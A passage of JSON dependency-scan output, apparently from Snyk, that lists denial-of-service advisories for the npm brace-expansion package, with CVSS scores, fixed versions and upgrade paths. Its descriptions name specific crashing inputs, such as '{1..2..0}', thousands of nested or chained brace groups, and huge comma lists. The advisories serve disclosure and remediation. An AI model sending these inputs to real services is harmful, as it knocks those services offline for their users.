"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
